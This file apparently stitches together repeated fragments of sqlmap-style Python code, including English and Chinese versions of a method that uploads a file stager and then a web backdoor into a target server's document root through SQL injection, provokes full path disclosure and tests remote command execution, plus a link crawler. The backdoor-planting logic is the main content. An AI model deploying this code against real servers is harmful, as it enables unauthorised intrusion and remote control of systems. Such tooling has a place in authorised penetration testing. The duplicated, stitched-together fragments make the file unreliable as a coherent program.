message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def crawl(target):
try:
visited = set()
threadData = getCurrentThreadData()
threadData.shared.value = oset()
def crawlThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
if threadData.shared.unprocessed:
current = threadData.shared.unprocessed.pop()
if current in visited:
continue
elif conf.crawlExclude and re.search(
conf.crawlExclude, current):
dbgMsg = "skipping '%s'" % current
logger.debug(dbgMsg)
continue
else:
visited.add(current)
else:
break
content = None
try:
if current:
content = Request.getPage(url=current,
crawling=True,
raise404=False)[0]
except SqlmapConnectionException as ex:
errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(
ex)
errMsg += "URL '%s'" % current
logger.critical(errMsg)
except SqlmapSyntaxException:
errMsg = "invalid URL detected. skipping '%s'" % current
logger.critical(errMsg)
except httplib.InvalidURL as ex:
errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(
ex)
errMsg += "URL '%s'" % current
logger.critical(errMsg)
if not kb.threadContinue:
break
if isinstance(content, unicode):
try:
match = re.search(r"(?si)<html[^>]*>(.+)</html>",
content)
if match:
content = "<html>%s</html>" % match.group(1)
soup = BeautifulSoup(content)
tags = soup('a')
if not tags:
tags = re.finditer(
r'(?i)<a[^>]+href="(?P<href>[^>"]+)"', content)
for tag in tags:
href = tag.get("href") if hasattr(
tag, "get") else tag.group("href")
if href:
if threadData.lastRedirectURL and threadData.lastRedirectURL[
0] == threadData.lastRequestUID:
current = threadData.lastRedirectURL[1]
url = urlparse.urljoin(current, href)
# flag to know if we are dealing with the same target host
_ = checkSameHost(url, target)
if conf.scope:
if not re.search(conf.scope, url, re.I):
continue
elif not _:
continue
if url.split('.')[-1].lower(
) not in CRAWL_EXCLUDE_EXTENSIONS:
with kb.locks.value:
threadData.shared.deeper.add(url)
if re.search(r"(.*?)\?(.+)", url):
threadData.shared.value.add(url)
except UnicodeEncodeError: # for non-HTML files
pass
except ValueError: # for non-valid links
pass
finally:
if conf.forms:
findPageForms(content, current, False, True)
if conf.verbose in (1, 2):
threadData.shared.count += 1
status = '%d/%d links visited (%d%%)' % (
threadData.shared.count, threadData.shared.length,
round(100.0 * threadData.shared.count /
threadData.shared.length))
dataToStdout(
"\r[%s] [INFO] %s" % (time.strftime("%X"), status),
True)
threadData.shared.deeper = set()
threadData.shared.unprocessed = set([target])
if not conf.sitemapUrl:
message = "do you want to check for the existence of "
message += "site's sitemap(.xml) [y/N] "
if readInput(message, default='N', boolean=True):
found = True
items = None
url = urlparse.urljoin(target, "/sitemap.xml")
try:
items = parseSitemap(url)
except SqlmapConnectionException as ex:
if "page not found" in getSafeExString(ex):
found = False
logger.warn("'sitemap.xml' not found")
except:
pass
finally:
if found:
if items:
for item in items:
if re.search(r"(.*?)\?(.+)", item):
threadData.shared.value.add(item)
if conf.crawlDepth > 1:
threadData.shared.unprocessed.update(items)
logger.info("%s links found" %
("no" if not items else len(items)))
infoMsg = "starting crawler"
if conf.bulkFile:
infoMsg += " for target URL '%s'" % target
logger.info(infoMsg)
for i in xrange(conf.crawlDepth):
threadData.shared.count = 0
threadData.shared.length = len(threadData.shared.unprocessed)
numThreads = min(conf.threads, len(threadData.shared.unprocessed))
if not conf.bulkFile:
logger.info("searching for links with depth %d" % (i + 1))
runThreads(numThreads, crawlThread, threadChoice=(i > 0))
clearConsoleLine(True)
if threadData.shared.deeper:
threadData.shared.unprocessed = set(threadData.shared.deeper)
else:
break
except KeyboardInterrupt:
warnMsg = "user aborted during crawling. sqlmap "
warnMsg += "will use partial list"
logger.warn(warnMsg)
finally:
clearConsoleLine(True)
if not threadData.shared.value:
warnMsg = "no usable links found (with GET parameters)"
logger.warn(warnMsg)
else:
for url in threadData.shared.value:
kb.targets.add(
(urldecode(url, kb.pageEncoding), None, None, None, None))
storeResultsToFile(kb.targets)
def initializeKb():
kb.targets = Queue.Queue()
kb.exps = {}
kb.results = oset()
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(),
(" (default)"
if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" %
len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"backdoor.%s_" % self.webApi))
stagerContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(
directory) and not directory.startswith('/'):
directory = "/%s" % directory
else:
directory = directory[2:] if isWindowsDriveLetterPath(
directory) else directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl,
stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True),
self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
handle, filename = mkstemp()
os.fdopen(handle).close(
) # close low level handle (causing problems later)
with open(filename, "w+") as f:
_ = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"stager.%s_" % self.webApi))
_ = _.replace(
"WRITABLE_DIR",
utf8encode(
directory.replace('/', '\\\\') if Backend.
isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename,
self.webStagerFilePath,
"text",
forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(
self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(
EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(
VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(
r'input type=hidden name=scriptsdir value="([^"]+)"',
uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName,
backdoorDirectory,
content=backdoorContent.replace(
"WRITABLE_DIR",
backdoorDirectory).replace(
"RUNCMD_EXE", _)):
self.webUpload(_,
backdoorDirectory,
filepath=os.path.join(
paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl,
backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName,
posixToNtSlashes(directory) if
Backend.isOs(OS.WINDOWS) else directory,
content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName,
directory)
else:
continue
self.webBackdoorUrl = posixpath.join(
ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(
ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def webInit(self):
"""
此方法用于在 web 服务器文档根目录中的可写远程目录中写入 web 后门 (代理)。
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = u"Web服务器支持哪种Web应用程序语言?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(),
(" (default)"
if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("无效值，只允许使用数字")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("无效值，它必须介于1和%d之间" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "你是否希望sqlmap进一步尝试引发完整的路径泄露? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(
r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-",
kb.originalPage or "", re.I):
url = "%s%s" % (conf.url.replace(
conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url,
raise404=False,
silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url,
raise404=False,
silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=",
conf.parameters[place])
if "[]" in value:
page, headers, _ = Request.queryPage(
value=value,
place=place,
content=True,
raise404=False,
silent=True,
noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(
r"(\A|;)(\w+)=[^;]*",
"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value,
place=PLACE.COOKIE,
content=True,
raise404=False,
silent=True,
noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value,
place=PLACE.COOKIE,
content=True,
raise404=False,
silent=True,
noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" %
(directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"backdoor.%s_" % self.webApi))
stagerContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(
directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# 使用LIMIT 0，1 INTO DUMPFILE方法上传文件
infoMsg = u"尝试通过LIMIT'LINES TERMINATED BY'方法上传'%s'上的文件" % directory
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl,
stagerName)
debugMsg = "尝试查看该文件是否可以从'%s'访问" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# 退回到UNION查询文件上传方法
if not uploaded:
warnMsg = "无法在'%s'中上传文件" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "尝试通过UNION方法将文件上传到'%s'上" % directory
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True),
self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"stager.%s_" % self.webApi))
_ = _.replace(
"WRITABLE_DIR",
utf8encode(
directory.replace('/', '\\\\') if Backend.
isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename,
self.webStagerFilePath,
"text",
forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(
self.webBaseUrl, stagerName)
debugMsg = "正在尝试查看文件是否可以从'%s'访问" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "文件stager上传在'%s', " % directory
warnMsg += "但不动态解释"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(
EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(
VIEWSTATE_REGEX, uplPage)
infoMsg = "文件stager已成功上传到'%s' - %s" % (directory,
self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(
r'input type=hidden name=scriptsdir value="([^"]+)"',
uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName,
backdoorDirectory,
content=backdoorContent.replace(
"WRITABLE_DIR",
backdoorDirectory).replace(
"RUNCMD_EXE", _)):
self.webUpload(_,
backdoorDirectory,
filepath=os.path.join(
paths.SQLMAP_EXTRAS_PATH, "runcmd",
"runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl,
backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName,
posixToNtSlashes(directory) if
Backend.isOs(OS.WINDOWS) else directory,
content=backdoorContent):
warnMsg = "后门没有通过file stager成功上传，"
warnMsg += "这可能是因为运行Web服务器进程的用户没有权限"
warnMsg += "在运行DBMS进程的用户文件夹中上传文件，因为没有写入权限，"
warnMsg += "或者因为DBMS和Web服务位于不同的服务器上"
logger.warn(warnMsg)
message = "你想尝试使用与文件stager相同的方法? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName,
directory)
else:
continue
self.webBackdoorUrl = posixpath.join(
ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(
ntToPosixSlashes(directory), backdoorName)
testStr = "命令执行测试"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "后门已经上传，但缺少运行系统命令的必需权限"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "后门已经成功 "
else:
infoMsg = "后门可能已经成功 "
infoMsg += "上传到'%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
if "[]" in value:
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def initializeKb():
kb.targets = Queue.Queue()
kb.exps = {}
kb.results = oset()
def initializeKb():
kb.targets = Queue.Queue()
kb.pocFiles = set()
kb.results = oset()
kb.registeredPocs = {}
